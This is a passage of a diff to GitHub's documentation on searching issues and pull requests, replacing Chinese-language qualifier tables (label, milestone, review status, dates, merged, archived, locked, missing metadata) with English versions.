**team:jekyll/owners** 匹配提及 `@jekyll/owners` 团队的议题。 | -| | **team:myorg/ops is:open is:pr** 匹配提及 `@myorg/ops` 团队的打开拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| team:ORGNAME/TEAMNAME | **team:jekyll/owners** matches issues where the `@jekyll/owners` team is mentioned. +| | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned. -## 按评论者搜索 +## Search by commenter -`commenter` 限定符查找含有来自特定用户评论的议题。 +The `commenter` qualifier finds issues that contain a comment from a certain user. -| 限定符 | 示例 | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) 匹配位于 GitHub 拥有的仓库中、含有 "github" 字样且由 @defunkt 评论的议题。 | +| Qualifier | Example +| ------------- | ------------- +| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt. -## 按议题或拉取请求中涉及的用户搜索 +## Search by a user that's involved in an issue or pull request -您可以使用 `involves` 限定符查找以某种方式涉及特定用户的议题。 `involves` 限定符是单一用户 `author`、`assignee`、`mentions` 和 `commenter` 限定符之间的逻辑 OR（或）。 换句话说，此限定符查找由特定用户创建、分配给该用户、提及该用户或由该用户评论的议题和拉取请求。 +You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user. -| 限定符 | 示例 | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** 匹配涉及 @defunkt 或 @jlord 的议题。 | -| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) 匹配涉及 @mdo 且正文中未包含 "bootstrap" 字样的议题。 | +| Qualifier | Example +| ------------- | ------------- +| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in. +| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body. {% ifversion fpt or ghes or ghae or ghec %} -## 搜索链接的议题和拉取请求 -您可以将结果缩小到仅包括通过关闭引用链接到拉取请求的议题，或者链接到拉取请求可能关闭的议题的拉取请求。 +## Search for linked issues and pull requests +You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close. -| 限定符 | 示例 | -| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) 匹配 `desktop/desktop` 仓库中通过关闭引用链接到拉取请求的开放议题。 | -| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) 匹配 `desktop/desktop` 仓库中链接到拉取请求可能已关闭的议题的已关闭拉取请求。 | -| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) 匹配 `desktop/desktop` 仓库中未通过关闭引用链接到拉取请求的开放议题。 | -| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) 匹配 `desktop/desktop` 仓库中未链接至拉取请求可能关闭的议题的开放拉取请求。 -{% endif %} +| Qualifier | Example | +| ------------- | ------------- | +| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. | +| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. | +| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. | +| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. |{% endif %} -## 按标签搜索 +## Search by label -您可以使用 `label` 限定符按标签缩小结果范围。 由于议题可有多个标签，因此您可为每个议题列出单独的限定符。 +You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue. -| 限定符 | 示例 | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) 匹配标签为 "help wanted"、位于 Ruby 仓库中的议题。 | -| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) 匹配正文中含有 "broken" 字样、没有 "bug" 标签但*有* "priority" 标签的议题。 | -| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} -| | [**label:bug label:resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) 匹配含有 "bug" 或 "resolved" 标签的议题。{% endif %} +| Qualifier | Example +| ------------- | ------------- +| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories. +| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority." +| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %} -## 按里程碑搜索 +## Search by milestone -`milestone` 限定符查找作为仓库内[里程碑](/articles/about-milestones)组成部分的议题或拉取请求。 +The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/articles/about-milestones) within a repository. -| 限定符 | 示例 | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | -| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) 匹配位于名为 "overhaul" 的里程碑中的议题。 | -| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) 匹配位于名为 "bug fix" 的里程碑中的议题。 | +| Qualifier | Example +| ------------- | ------------- +| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul." +| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix." -## 按项目板搜索 +## Search by project board -您可以使用 `project` 限定符查找与仓库或组织中特定[项目板](/articles/about-project-boards/)关联的议题。 必须按项目板编号搜索项目板。 您可在项目板 URL 的末尾找到项目板编号。 +You can use the `project` qualifier to find issues that are associated with a specific [project board](/articles/about-project-boards/) in a repository or organization. You must search project boards by the project board number. You can find the project board number at the end of a project board's URL. -| 限定符 | 示例 | -| -------------------------- | --------------------------------------------------------------------- | -| project:PROJECT_BOARD | **project:github/57** 匹配 GitHub 拥有的、与组织项目板 57 关联的议题。 | -| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** 匹配与 @github 的 linguist 仓库中的项目板 1 关联的议题。 | +| Qualifier | Example +| ------------- | ------------- +| project:PROJECT_BOARD | **project:github/57** matches issues owned by GitHub that are associated with the organization's project board 57. +| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** matches issues that are associated with project board 1 in @github's linguist repository. -## 按提交状态搜索 +## Search by commit status -您可以基于提交的状态过滤拉取请求。 这在使用 [Status API](/rest/reference/repos#statuses) 或 CI 服务时特别有用。 +You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/reference/repos#statuses) or a CI service. -| 限定符 | 示例 | -| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) 匹配在状态为待定的 Go 仓库中打开的拉取请求。 | -| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) 匹配正文中含有 "finally" 字样、具有成功状态的打开拉取请求。 | -| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) 匹配在 2015 年 5 月打开、具有失败状态的拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending. +| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status. +| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status. -## 按提交 SHA 搜索 +## Search by commit SHA -如果您知道提交的特定 SHA 哈希，您可以使用它来搜索包含该 SHA 的拉取请求。 SHA 语法必须至少 7 个字符。 +If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters. -| 限定符 | 示例 | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | -| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) 匹配具有开头为 `e1109ab` 的提交 SHA 的拉取请求。 | -| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) 匹配具有开头为 `0eff326d6213c` 的提交 SHA 的合并拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`. +| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`. -## 按分支名称搜索 +## Search by branch name -您可以基于拉取请求来自的分支（"head" 分支）或其合并到的分支（"base" 分支）来过滤拉取请求。 +You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch). -| 限定符 | 示例 | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) 匹配从名称以 "change" 字样开头的已关闭分支打开的拉取请求。 | -| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) 匹配合并到 `gh-pages` 分支中的拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed. +| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch. -## 按语言搜索 +## Search by language -通过 `language` 限定符，您可以搜索以特定语言编写的仓库内的议题和拉取请求。 +With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language. -| 限定符 | 示例 | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------- | -| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) 匹配 Ruby 仓库中的开放议题。 | +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories. -## 按评论数量搜索 +## Search by number of comments -您可以使用 `comments` 限定符以及[大于、小于和范围限定符](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)以按评论数量搜索。 +You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments. -| 限定符 | 示例 | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | -| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) 匹配具有超过 100 条评论的已关闭议题。 | -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) 匹配具有 500 到 1,000 条评论的议题。 | +| Qualifier | Example +| ------------- | ------------- +| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000. -## 按交互数量搜索 +## Search by number of interactions -您可以使用 `interactions` 限定符以及[大于、小于和范围限定符](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)按交互数量过滤议题和拉取请求。 交互数量是对议题或拉取请求的反应和评论数量。 +You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request. -| 限定符 | 示例 | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------- | -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) 匹配超过 2000 个交互的拉取请求或议题。 | -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) 匹配 500 至 1,000 个交互的拉取请求或议题。 | +| Qualifier | Example +| ------------- | ------------- +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000. -## 按反应数量搜索 +## Search by number of reactions -您可以使用 `reactions` 限定符以及 [大于、小于和范围限定符](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)按反应数量过滤议题和拉取请求。 +You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). -| 限定符 | 示例 | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------ | -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) 匹配超过 1000 个反应的议题。 | -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) 匹配 500 至 1000 个反应的议题。 | +| Qualifier | Example +| ------------- | ------------- +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000. -## 搜索草稿拉取请求 -您可以过滤草稿拉取请求。 更多信息请参阅“[关于拉取请求](/articles/about-pull-requests#draft-pull-requests)”。 +## Search for draft pull requests +You can filter for draft pull requests. For more information, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)." -| Qualifier | Example | ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} | `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. | `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) 匹配可供审查的拉取请求。{% else %} | `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) 匹配拉取请求草稿。{% endif %} +| Qualifier | Example +| ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} +| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. +| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review.{% else %} +| `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) matches draft pull requests.{% endif %} -## 按拉取请求审查状态和审查者搜索 +## Search by pull request review status and reviewer You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested reviewer. -| 限定符 | 示例 | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) 匹配尚未审查的拉取请求。 | -| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) 匹配需要审查然后才能合并的拉取请求。 | -| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) 匹配审查者已批准的拉取请求。 | -| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) 匹配审查者已请求更改的拉取请求。 | -| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) 匹配特定人员审查的拉取请求。 | -| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) 匹配特定人员申请审查的拉取请求。 申请的审查者在其审查拉取请求后不再在搜索结果中列出。 If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %} +| Qualifier | Example +| ------------- | ------------- +| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed. +| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged. +| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved. +| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes. +| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person. +| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %} | user-review-requested:@me | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review.{% endif %} -| team-review-requested:TEAMNAME | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) 匹配已审查团队 `atom/design` 请求的拉取请求。 申请的审查者在其审查拉取请求后不再在搜索结果中列出。 | +| team-review-requested:TEAMNAME | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) matches pull requests that have review requests from the team `atom/design`. Requested reviewers are no longer listed in the search results after they review a pull request. -## 按议题或拉取请求创建或上次更新的时间搜索 +## Search by when an issue or pull request was created or last updated -您可以基于创建时间或上次更新时间过滤议题。 对于议题创建，您可以使用 `created` 限定符；要了解议题上次更新的时间，您要使用 `updated` 限定符。 +You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier. -两者均采用日期作为参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 限定符 | 示例 | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) 匹配以 C# 编写的仓库中 2011 年以前创建的开放议题。 | -| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) 匹配 2013 年 2 月后更新的、正文中含有 "weird" 字样的议题。 | +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013. -## 按议题或拉取请求关闭的时间搜索 +## Search by when an issue or pull request was closed -您可以使用 `closed` 限定符基于议题和拉取请求关闭的时间进行过滤。 +You can filter issues and pull requests based on when they were closed, using the `closed` qualifier. -此限定符采用日期作为其参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 限定符 | 示例 | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) 匹配 2014 年 6 月 11 日后关闭的 Swift 中的议题和拉取请求。 | -| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) 匹配 2012 年 10 月后关闭、正文中含有 "data" 字样的议题和拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014. +| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012. -## 按拉取请求合并的时间搜索 +## Search by when a pull request was merged -您可以使用 `merged` 限定符基于拉取请求合并的时间进行过滤。 +You can filter pull requests based on when they were merged, using the `merged` qualifier. -此限定符采用日期作为其参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 限定符 | 示例 | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| merged:YYYY-MM-DD | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) 匹配 2011 年以前合并的 JavaScript 仓库中的拉取请求。 | -| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) 匹配 2014 年 5 月之后合并、标题中含有 "fast" 字样、以 Ruby 编写的拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| merged:YYYY-MM-DD | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011. +| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014. -## 基于拉取请求是否已合并搜索 +## Search based on whether a pull request is merged or unmerged -您可以使用 `is` 限定符基于拉取请求已合并还是未合并进行过滤。 +You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier. -| 限定符 | 示例 | -| ------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) 匹配含有 "bugfix" 字样的已合并拉取请求。 | -| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) 匹配含有 "error" 字样的已关闭议题和拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bugfix." +| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches closed issues and pull requests with the word "error." -## 基于仓库是否已存档搜索 +## Search based on whether a repository is archived -`archived` 限定符基于议题或拉取请求是否位于已存档仓库中过滤结果。 +The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository. -| 限定符 | 示例 | -| ---------------- | --------------------------------------------------------------------------------------------------------------------------- | -| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) 匹配您具有访问权限的已存档仓库中含有 "GNOME" 字样的议题和拉取请求。 | -| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) 匹配您具有访问权限的未存档仓库中含有 "GNOME" 字样的议题和拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to. +| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to. -## 基于对话是否已锁定搜索 +## Search based on whether a conversation is locked -您可以使用 `is` 限定符搜索具有已锁定对话的议题或拉取请求。 更多信息请参阅“[锁定对话](/communities/moderating-comments-and-conversations/locking-conversations)”。 +You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)." -| 限定符 | 示例 | -| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) 匹配未存档仓库中具有已锁定对话且含有 "code of conduct" 字样的议题或拉取请求。 | -| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) 匹配未存档仓库中具有未锁定对话且含有 "code of conduct" 字样的议题或拉取请求。 | +| Qualifier | Example +| ------------- | ------------- +| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived. +| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived. -## 按缺少的元数据搜索 +## Search by missing metadata -您可以使用 `no` 限定符缩小搜索缺少特定元数据的议题和拉取请求的范围。 该元数据包括： +You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. That metadata includes: -* 标签 -* 里程碑 -* 受理人 -* 项目 +* Labels +* Milestones +* Assignees +* Projects -| 限定符 | 示例 | -| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) 匹配没有任何标签且含有 "priority" 字样的议题和拉取请求。 | -| `no:milestone` | 